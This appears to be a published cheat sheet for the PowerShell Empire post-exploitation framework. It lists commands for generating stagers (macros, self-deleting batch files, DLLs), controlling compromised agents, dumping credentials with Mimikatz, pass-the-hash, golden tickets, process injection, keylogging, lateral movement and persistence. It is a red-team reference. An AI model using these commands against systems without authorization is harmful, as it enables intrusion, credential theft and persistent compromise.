Empire Cheat Sheet

Veris Group ATD Adaptive Threat Division

Getting Started

Get Empire: # **git clone https://github.com/PowerShellEmpire/Empire** or download the latest release from https://github.com/PowerShellEmpire/Empire/releases

Run setup: **# ./setup/install.sh**

Reset your installation: **# ./setup/reset.sh**

Start Empire [in debug mode]: **# ./empire [--debug]**

Documentation at: http://www.PowerShellEmpire.com

Return back to the main Empire menu at any point with **main**, exit with **exit** (or Ctrl+C). Go back to the previous menu with **back**. Type **help** at any point for a list of commands and their descriptions.

You can list all agents or listeners from any menu with **list [agents/listeners]**

To manually edit the backend db: # **sqlitebrowser ./data/empire.db**

Empire has a heavy UI focus with lots of tab-completion.

Logging and Downloads

If –debug specified, info in **./empire.debug**

Each agent that checks in has a complete log of tasking/results located in: **./downloads/AGENTNAME/agent.log**

Downloads/other module output for each agent are also stored in **./downloads/ AGENTNAME /***

(Empire: listeners) >

Change to the listeners menu from any menu location in Empire with **listeners**. This will show the currently active listeners (**list** also shows this). Listeners are preserved in **./data./empire.db** and start back up on Empire startup.

See the current listener config options: **info/options**

Set an option: **set OPTION VALUE**

Unset an option: **unset OPTION**

Use a particular stager for a given listener: **usestager [tab] STAGERNAME LISTENER**

To generate a launcher one-liner: **launcher LISTENER**

Start a listener with the currently set options: **execute**

Kill one (or all) listeners: **kill [tab] NAME/all**

KillDate	Date for the listener to exit (MM/dd/yyyy)
Name	Name alias to give the listener
DefaultLostLimit	Number of missed checkins before exiting
Type	native, pivot, hop, foreign, meter
DefaultDelay	Agent delay/reach back interval (in seconds)
WorkingHours	Hours for the agent to operate (09:00-17:00)
Host	http[s]://HOSTNAME:PORT for staging (also takes IP)
CertPath	Path to .pem cert to HTTPS
DefaultJitter	Jitter in agent reachback interval (0.0-1.0).

(Empire: stager/stager_name) >

Empire has a modular approach to generating stagers (the way you're going to get code execution on a remote machine). You can access these from **main** or **listeners** with **usemodule [tab] STAGER [LISTENER_NAME]**

info/options will display the current option sets, and **set/unset** works similarly to the listener menu. **generate** will generate the current stager/options.

launcher	Command one-liner
launcher_bat	Self-deleting .bat file
macro	An office macro
dll	Reflective-DLL

(Empire: agents) >

Change to the agents menu from any menu location with **agents**. This will show the currently active agents/config and some basic system config information.

List active (or stale) agents	**list [stale]**
Interact with an agent	**interact ID**
Clear one (or all) agent tasking	**clear [tab] ID/all**
Kill one (or all) agents	**kill [tab] ID/all**
Remove one, all, or stale agents from the database	**remove [tab] ID/all/stale**
Rename an agent	**rename ID NewName**
Set the working hours for one (or all) agents	**workinghours [tab] ID/all 9:00-17:00**

(Empire: AGENTID) >

This is the main interactive menu for an Empire agent.

Various shell aliases are built into the main agent menu: **ls, mv, cp, rm, cd, ipconfig, getpid, route, whoami, restart, shutdown.**

WARNING: any command entered that doesn't resolve to any alias or an agent command will be executed as a native PowerShell command on the target!

Display agent information	**info**
Clear the agent tasking	**clear**
Execute a (Power)shell command	**shell CMD**
List process names matching a pattern	**ps explorer**
Download a target file	**download ./PATH/file**
Upload a file to the current path	**upload ./attacker/path/file.txt**
Task agent to exit	**exit**
Display background jobs	**jobs**
Kill a background job	**jobs kill JOB_ID**
Kill a process	**kill PID**

Version 1.0. Created by Will Schroeder (@harmj0y) and Matt Nelson (@enigma0x3) and released under the Creative Commons v3 "Attribution" License.

Get/set agent killdate	**killdate [01/01/2016]**
Rename agent	**rename NEWNAME**
Set an agent to sleep X seconds with 0.Y jitter	**sleep X [0.Y]**
Spawn a new Empire agent	**spawn LISTENER**
Execute bypassuac	**bypassuac LISTENER**
Run Mimikatz' sekurlsa::logonpasswords	**mimikatz**
Steal a process token	**steal_token PID**
Inject a given hash from the credential database	**pth CRED_ID**
Import a .ps1 into memory	**scriptimport ./path.ps1**
Run an imported .ps1 cmd	**scriptcmd [tab] Invoke-Function**
Inject an Empire agent into another process ID	**psinject [tab] LISTENER PID**

(Empire: type/module_name) >

To use a module from the main or agents menu, type **usemodule [tab] type/module**

To search module descriptions/names, use **searchmodule TERM**

Every module has a set of required [and optional] settings. On module execution, if a module is specified as needing administrative privileges or is not opsec safe, Empire will print a warning/confirmation.

You can see the current module options with **info/options**, and can **set/unset options** similarly to the listener menu.

To set a module to run as an agent's first tasking after checking in: **set Agent autorun** . To clear the autorun tasking out, **clear autorun** from the agents menu.

Mimikatz and the Cred Store

Empire will automatically scrape parsed Mimikatz credentials and save them in a backend credential model. These can be access edfrom any menu with **creds** and used by modules that accept CredID.

List all credentials	(no argument)
List only hashes	**hash**
List only plaintext	**plaintext**
List only krbtgt	**krbtgt**
Add a credentials	**add domain username password**
Remove a credential	**remove CRED_ID/CRED1-CRED2/all**
Export current creds	**export ./path/creds.csv**
Search creds for term	***user***

Various Mimikatz functionality is implemented in **credentials/mimikatz/* :**

logonpasswords	Execute all current Mimikatz in-memory credential modules
lsadump	Dump local hahes from LSA (useful on DC ;)
pth	Inject a hash into memory w/ sekurlsa (accepts a CRED_ID)
dcsync	Extract DC hashes w/out DC code execution
golden_ticket	Build/inject a golden ticket (accepts a krbtgt CRED_ID)
purge	Purge all Kerberos tickets from memory
command	Custom Mimi command

Useful Modules

Empire has over 100 pure-PowerShell post-exploitation modules. Below is a brief highlight of a few particularly useful ones. These heavily draw on existing PowerShell tech, and the original authors for each are highlighted in the "Authors" section of each module.

collection/keylogger	Log keystrokes
collection/get_indexed_item	Query the Windows search indexer for files w/ specific terms
collection/inveigh	Basic LLMNR/NBNS spoofing
collection/screenshot	Takes screenshots
lateral_movement/invoke_wmi	Triggers new agent on machine w/ WMI
lateral_movement/invoke_psexec	Takes a listener name and triggers a new agent using PSEXEC
management/psinject	Inject an Empire agent into another process.
management/enable_rdp	Enable RDP access
management/wdigest_downgrade	Download a system to use Wdigest and lock screen
persistence/userland/*	Various userland persistence options
persistence/elevated/*	Various elevated persistence options (including WMI)
persistence/misc/*	Misc. persistence options (skeleton key, debugger options, memssp, etc.)
privesc/powerup/*	PowerUp privesc checks/weaponization vectors
situational_awareness/network/powerview/*	Various PowerView network/domain functionality
situational_awareness/host/*	Host enumeration modules
recon/*	Network based recon modules to search the LAN

More Information

http://www.verisgroup.com/adaptive-threat-division/

Documentation: http://www.PowerShellEmpire.com/

MSF integration: http://www.PowerShellEmpire.com/?page_id=133

Session passing: http://www.PowerShellEmpire.com/?page_id=145

Version 1.0. Created by Will Schroeder (@harmj0y) and Matt Nelson (@enigma0x3) and released under the Creative Commons v3 "Attribution" License.